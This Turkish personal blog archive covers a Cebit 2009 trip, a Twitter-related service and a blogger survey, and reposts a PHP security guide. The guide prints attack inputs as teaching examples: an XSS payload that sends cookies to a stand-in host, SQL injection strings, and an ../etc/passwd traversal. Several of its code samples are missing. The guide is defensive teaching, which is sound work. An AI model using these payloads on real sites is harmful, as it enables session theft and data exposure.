Bot olarak etiketli yazılar
Cebit 2009 ve İstanbul gezisi
12 Eki
Bu hafta sonu benim için gerçekten zevkli ve bir o kadar muhteşem geçti. Çünkü İstanbul’a gidip bol bol gezip Cebit’te dostlarımla görüşme fırsatım oldu. Neler mi yaptım?
Cumartesi sabah saat 07.30′da kalkıp saat 09.00 Güzelyalı – Kabataş hızlı feribotu ile Kabataş’a geçtim ve Beşiktaş Deniz Müze’sinde askerliğini yapan kardeşim, kankam İsmail Çiftçi’yi ziyaret edip. Ailesinin yollamış olduğu eşylaarı teslim ettim saat 13.00 e kadar yanında kalıp sohbet ettikten sonra önce BEşiktaşta bi tur attım ardından otobüsle Mecidiyeköy’de çalışan Murat Öztürk’ün yanına geçtim. Biraz muhabbet ettikten sonra Metrobüs ile abisi Yunus Öztürk’ü görmek için Küçükçekmece Sefaköy’e geçtim ve akşam 18.00′e kadar çok güzel zaman geçirdim. Buradan kendisine acil şifalar diliyorum. Saat 18.00′de zeytinburnu tramvay istasyonuna doğru Mevlüt Altunterim ile görüşmek için yola çıktım. Zeytinburnu tramvayı ile Topkapı’ya gelip oradanda otobüs ile Tuzlaya geçip sonrasında dolmuş ile Gebze’ye geçmek 2 saatten fazla sürsede İstanbul’un her yerini gördüm sanırım. :) Mevlüt abinin ailesi ile tanışmak, onlarla sohbet etmekte gerçekten çok hoştu yediğim güzel yemekler ve sıcak sohbetleri kısaca yaptıkları herşey için çok teşekkürler. :)
Sabah Mevlüt abinin eski ortağı Hakan ile Beylikdüzü’ne geçtik ve ziyaretçi girişi açılmadığı için saolsun beni katılımcı girişinden içeri aldı. :) Biraz standta kaldıktan sonra Friendfeed’ten tanıştığım ve gerçekten çok sevdiğim Ömer Ekinci ile Desnet Standında görüştüm. Daha önce tanıdığım İbrahim Uzun ve yine Friendfeed’ten takip ettiğim Seviye Kaloğlu, Tuba Tirin, Xing ekibinden Natali Yeşilbahar, Pelin Ayan, Kariyergenc kurucusu genç girişimci arkadaşımız Nurettin Özdağan ile görüşüp sohbet etmek gerçekten benim için Cebit’e anlam kattı. )
İlgilerinden dolayı hepsine ayrı ayrı teşekkür eder ve bir dahaki İstanbul maceramda tekrar görüşmeyi çok isterim. :)
Popularity: 1% [?]
Twitturk açıldı.
6 Oca
Tiwitterı son 1 yıldır kullanıyorum ve Türkiye’den de oldukça fazla kullanıcıya sahip bir web uygulaması. Bilmeyenler için kısaca analtacak olursak facebook’taki şu an ne yapıyoruzun ilk fikir babası. :)

Twitturk adından da anlaşıldığı üzere bir twitter API’si kullanılarak gelişitirilmiş bir servis ki Türk kullanıcılara hitap etmesi bizi en çok ilgilendiren bölümü. Kuruluş amacı ise Türk Twitter kullanıcılarını tarayarak tek bir sayfada gösterip bu kullanıcıları birbirine daha yakın olmasını sağlmak olarak belirlenmiş.
Twitturk un çalışma mantığıysa bir arama motoru botu gibi yani yazılan mesajlardaki Türkçe kelimeleri takip edip o kişinin türk olduğunu algılıyor ve sonra o kişiyi takip edenlerde aynı işlemi uygulayarak. Diğer Türk kullanıcılarada ulaşmış oluyor.
Eğer sizin twitter ınızıda takip etmesini istiyorsanız. Twitterda @twitturk içeren bir mesaj yazmanız veya doğrudan buraya tıklayarak bunu sağlayabilirsiniz.
Bu arada bu uygulamanın yapmış olduğu sıralamada şimdiye akdar ulaşabildiği kullanıcılar arasında son 24 saatte en çok tweet yollayan 8., son 7 günde 4. ve son 1 ay da ise yine 8. olmak ayrı bir gurur verdi :)
detaylar için buyrun: twitturk
Popularity: 10% [?]
Blog Yazarlığı Anketi.
24 Ara
Bayram sonrası bir türlü kendime zaman ayıramıyorum bırakın bloğuma bakmayı google readerımı bile açamadım. Ama artık biraz daha sakinleşmeye temposunu birazcıkdaha azaltmaya başladım hayatın son bir yolculuğum daha kaldı bu gece Konya’ ya dönüyorum böylece son 1 ayda 3. ve sonuncu git gelim olacak. :)
Neyse kendimden daha sonra yinede bahsederim asıl konumuza dönelim. Volkan Yılmaz arkadaşımızın bloğunu sürekli takip ediyorum ve gerçekten blog dünyasında 4. yılını dolduran ender insnalardan biri olması ile tecrübe ettiğim bir çok tavsiyesiye yer veriyor kendi bloğunda. Yine bloğunu takip ederken tüm blog yazarlarını yakından ilgilendiren bir konuyuda sizlerle paylaşmak istedim. direk alıntı yapıyorum orjinalliği korumak adına buyrun arkadaşlar.
Merhaba sevgili arkadaşlar 15 Ocak tarihinde sona erip sonuçları açıklanacak bir anket olan Türkiye’de Blog Yazarları başlıklı ankete blog yazarıysanız bu adrese giderek katılmanızı rica ediyorum.
Bu anket Internet‘te sosyal ağlar, bloglar ve yeni nesil medya temalı bir akademik çalışma için kullanılacaktır, bu yönde blog yazarlarının bilgi ve tecrübelerine başvurmak istemişler.
Anketi hazırlayan Murat, FriendFeed başlığında anketi hazırladığı zamanda 15 Aralık’da sonuçları açıklama hedefiyle yola çıksa da düşük bir katılım olmasından dolayı süreyi 15 Ocak tarihine kadar uzattı ve destek istedi, bu tarihe kadar siz de eğer bir blog yazarıysanız minik anketi doldurabilir ve bu çalışmaya katkı sağlayabilirsiniz.
Siz de bunu diğer blog yazarlarına duyurmak isterseniz adresi: http://twshot.com/?6YL
Katılımlarınızı bende bekliyorum ve unutmayın blog ve blog kullanımı birbirimize verdiğimiz destekle gelişecektir.
Popularity: 7% [?]
Dünyaca ünlü dört hacker’ı yakalayan Türk polisine ödül
21 Kas
|
|||||||
|
Federal Soruşturma Bürosu’nun (FBI) ‘dünyanın en becerikli hacker’ları ABD ve Ukrayna’nın her yerde aradığı Maksym Yastremsky, 26 |
|||||||
| Sedat Güneç | |||||||
Popularity: 21% [?]
PHP için önemli güvenlik önlemleri.
17 Kas
PHP’nin güvenlik zafiyetleri olduğu, bir çok anlamda yetersiz bir dil olduğu söyleniyor. Hatta Unix camiasının istenmeyen çocuğu gibi. Görüşüm, bu durumun, kaliteli PHP programcılarının (PHP Hackers) olmamasından ve PHP’nin nispeten kolay öğrenilen bir dil olmasından kaynaklanıyor. Bu da ilk olarak güvenlik konusunda zafiyetlere yol açıyor. Şimdi güvenlik konusuna girelim.Şu kesin; hiç sağ elinle sol kulağını tutmadan, bazı yöntemleri uygulayarak güncel web zafiyetlerinin %80 inden kaçmak mümkün. Ve bu PHP’de çok kolay bir şekilde yapılabilir.
1.Register Globals
Her güvenlik yazısında yüzlerce kere değinilmesine rağmen hala Register Globals kullanabilecek insanların olması ürkütücü! Bilindiği gibi Register Globals, $_Request (POSTve GET) değişkenlerini sanki o belgede tanımlanmış değişkenlermiş gibi göstererek direk o değişkene erişilmesine olanak verir.
?>
http://localhost/php_guvenlik/register_globals.php?ornek=deneme diye sayfadan çağrıldığında ekranda “deneme” yazıldığını göreceksiniz. ornek=deneme kısmını değiştirerek “ornek” değişkeninin değerini de adres çubuğundan kontrol edebilirsiniz. Ne büyük bir delik değil mi? Neyse ki register globals artık öntanımlı olarak kapalı geliyor ve PHP 6 ile birlikte de dilden çıkarılıyor. Eğer böyle bir global değişkene ihtiyaç duyan bir web uygulamanız varsa kodları komple gözden geçirmelisiniz.
2.Form Değişkenlerin Kontrolü ve Cross Site Scripting
Yine yüzlerce kere değinilen bir konu, motto şu: “Kullanıcıya asla güvenme!” . Kullanıcıdan aldığımız her şeyi önce acaba bu nükleer bir atık mı, hediye paketi süsü verilmiş bir bombamı, yoksa masum bir istek mi diye eldivenleri takıp laboratuar şartlarında incelememiz gerekir. Bir örnek vermek gerekirse şu yeter sanırım:
2003 yılında Hotmail Passport hesabında şöyle bir olay gerçekleşmişti:
https://register.passport.net/emailpwdreset.srf?lc=1033&em= kurban@hotmail.com&id=&cb=&prefem= hacker@attacker.com&rst=1 bu şekilde kurban@hotmail.com kullanıcısının bilgileri hacker@attacker.com maline gönderiliyordu. Ve bu açığa sebep olan Microsoft gibi bir şirket idi! Buradan hareketle mail adresi ve kullanıcı adının girildiği ve karşılığında parola kurtarma mailinin adresinize geldiği bir senaryo:
</form>
http://localhost/reset.php?kad=osman&email= osman@orhan.com
http://localhost/reset.php?kad=kamuran&email= osman@osman.com ile kamuran isimli kullanıcının bilgileri osman@osman.com a gönderiliyor.
Sırf siz email adresini kontrol etmediğiniz için. Güvenlik için kullanıcıdan gelen verileri kontrol etmeliyiz, $email değişkenindeki değerin bir email olup olmadığını küçük bir email_valid() fonksiyonu ile yapabiliriz ayrıca adresinin bu kullanıcıya ait olup olmadığını kontrol etmeliyiz, ondan sonra email adresine bir mail geçebilirsiniz!

Owasp Top #1 XSS
XSS nedir?
“XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .”
Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.
İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:
http://sizinsite.com/yorum.php?ad=osman&yorum=<script>document.location=’http://benimsunucum.org/kaydet.php?cookies=’ + document.cookie </script>
yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gönderilmesi buna bir çözüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler önce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gönderilmelidir. Şunun gibi güvenli bir kod yapılabilir.
SQL Injection
Örnek bir formumuz olsun:
Şimdi bu formu işleyen PHP kodumuza bakalım:
Kodu fazla detaylandırmadan hemen hatalara bakalım. Kullanıcıdan gelen veriler kontrol edilmede direk veritabanında işleme alındı. En büyük zafiyetlerden birisi bu. Mottomuzu hatırlayalım. Kullanıcıya asla güvenme! Mesela kullanıcı adı kısmına şu yazılsa:
root – eğer varsa root kullanıcı bilgilerini ekrana dökecekti. SQL de “–” işareti yorum başlangıcını ifade eder. Yani koddaki geri kalan AND parola = ‘$parola’ kısmı artık yok oldu. Ya da şu şekilde bir kod enjekte edilebilir.
kullaniciadi = ‘osman’ OR 1 =1
kullanıcıadı kısmına osman or 1=1 yazılarak tüm kullanıcıların bilgisine ulaşılınabilinir. Pis bir elmayı yıkamadan yemek gibi. Hasta olmamak için önce elmayı yıkamamız gerekli. Öncelikle daha önce belirttiğimiz gibi html filtreleyicileri kullanılmalı:
Daha sonra klasik SQL sınıfları yerine PDO gibi bir sınıf kullanarak (Dilin doğal kütüphanesi olduğu için bunu tercih ediyorum ) veriler veritabanından sorgulanmalı;
Burada kad bir string ve parola bir integer değer olarak sorgulanıyor. Bunların dışındaki değerler için $query->execute() işlemi gerçekleştirilmiyor. Bu yöntem (prepared statments) sql injection saldırılarını %99 azaltabilir (belki %99,9) fakat diğer bir özelliğide normal sql sorgularına göre hızlı çalışması. Yani güvenliği ön plana çıkaryım derken çoğu zaman performanstan kayıp yaşanır ama ama burada bu iş tersine dönüyor. Bu da SQL injectionu savuşturmada elimizi güçlendiriyor.
Session İşlemleri
SESSION işlemleri bir çok web uygulamasının kullanıcı ve oturum yönetiminde kullanılıyor. Ama sadece browserda depolanan SESSION cookie lerini kullanarak oturum yönetimi yapan uygulamalar güvensiz uygulamalardır. Kötü niyetli kullanıcı XSS açıklarından yararlanıp browserda depolanan SESSIONID leri çalarak , bu SESSIONID ile siteye gelip o kullanıcıyı taklit ederek bilgilerine ulaşabilir. Bundan dolayı her sayfa için belli bir anahtar ve değer ikilisi kullanmak şu an için en mantıklı çözüm:
ve SESSION kullanan sayfalarda bir kilit yapıp bunların uyup uymadığını kontrol edebilirsiniz.
Kendi şifreleme algoritmalarınızı oluşturabilir ve sayfalar arasında iletişim kuran verileri bu algoritma ile şifreleyip geri şifreyi çözerek uygulamayı kendi içinde güvenli hale getirebilirsiniz.
Dosya Enjektesi ve RFI
Bazı sınıflarınızı PHP nin include veya require methodlarıyla diğer dosyaların içinden çağırabilir ve kod karmaşasının önüne geçebilirsiniz. Bunun için kullanılınan include ve require methodları tahmin etmediğiniz açıklara sebep olabilir.
Burada $page değişkeniyle gelen değer varsa direk include ediyoruz. Mantıklı olan dosyayı direk değil kontrol ederek require_once metoduyla sayfaya dahil etmek.
Include , include_once ve require, require_once _once takısı alan metod daha önce o dosyanın dahil olup olmadığına bakar yani siz sayfanın belli yerlerinde tek bir kod çalıştırmak istiyorsunuz. Diyelim ki tarih.php sayfasında bir tarih-saat formatınız var ve onu sayfanın farklı yerlerinde ekrana basmak istiyorsunuz.
include_once(‘tarih.php’); // tarih basıldı
include_once(‘tarih.php’); // daha önce bu include işlemi gerçekleştirildiği için tekrarlanmadı.
Yapılan testlerde require_once nin en hızlı yöntem olduğu gözlenmiştir.
Mesela sayfaların farklı alanlarını göstermek için şöyle bir kod kullanıyor olalım:
index.php?sayfa=iletisim.html
PHP kodu:
Masumca iletişim sayfasını göstermesi gereken kodumuza bir de şimdi bakalım:
index.php?sayfa=../etc/passwd
Ekrana sunucunun root kullanıcı bilgileri geldi! Evet elimizle sunucuyu verdik. Sisteme tam yolu göstererek sayfaya dâhil etmek ve require_once metodunu kullanarak bu zafiyeti atlatabiliriz.
$dir = ‘./inc/’;
require_once $dir . $sayfa ; // sadece inc içindekileri require edebilir.
PHP Tip Denetimi ve Güvenlik
PHP de tip denetim yapısı katı değildir ve bu güvenlik sorunlarını tetiklemektedir. Uygulamanızda değişken tiplerinin neler olduğunu bilmek ve mantıksal olarak kullanıcıdan gelen değişkenlerin türünü bilmek birçok durumda hataları ortadan kaldırabilir. Mesela kullanıcının yaşını getiren bir form değişkenimiz olsun;
$yas = $_POST['yas']
Şimdi bu “$yas” değişkeninin sadece tamsayı olmasını bekleriz, ama oradan biraz önce bahsettiğimiz gibi farklı şeyler gelebilir. Bunun için $yas değişkenin gerçekten beklediğimiz “tamsayı” türünden bir değişken mi yoksa farklı türden bir değişken mi gelmiş bir bakalım.
Yöntem-1
Burada değişkenin türüne bakılıyor eğer tamsayı ise izin veriliyor yoksa hata veriyor.
Yöntem-2
$yas = (int) $_POST['yas'];
bu yöntemle $yas değişkenini bir tamsayıya çevirdik. Eğer yaş değişkeninden “<script> … </script>” gibi bir değer gelirse (int) yöntemi onu hemen bir tamsayıya çeviriyor. Burada $yas = 0 oluyor ve “<script> … </script>” kısımlar etkisiz hale getiriliyor. settype(), gettype(),is_string(),is_int(),is_float(),is_bool() fonksiyonlarıyla tür kontrollerini yapabilirsiniz. Ve bu fonksiyonlar güvenli web uygulamaları geliştirmenizde çok işinize yarayacaktır.
Uzunlukları Kontrol Etmek
Gelen değişkenlerin uzunluklarını kontrol etmek de bazı durumlarda çok işinize yarayabilir. Yine mantıksal adımlarla ilerleyelim. Mesela bir formdan kişinin kullanıcı adı ve parolasını alalım. Veritabanında bu bilgiler VARCHAR türü 12 karakterle tutulan bir alan olsun. Gelen form verilerini direk işleme sokmak yerine önce kaç karakterli olduklarına bakalım.
Buradaki kodda kullanıcıadı ve parola değişkenlerinin uzunluklarını kontrol edip 12 karakterden büyük olup olmadıklarına baktık. Eğer herhangi birisi 12 karakterden uzunsa hata verilmesini sağladık. Bu işlem ile URL Encode , Desimal ve Heksadesimal HTML ataklarına karşı sizi koruyabilir. Son Olarak hata raporlarının yanlış tanımlanması büyük sorunlara yol açmasa da haşarı cracker arkadaşlara tahminlerde bulunulmasına ve büyük açığın tespit edilmesinde yardımcı olabilir.
error_reporting(E_ALL);
ile bütün hataları ekrana basarsınız. E_ALL yerine farklı seçeneklerle bu durumun önüne geçebilirsiniz.
www.bilgiguvenliği.gov.tr adresinden osman beyin yazısından alıntıdır.
Popularity: 24% [?]



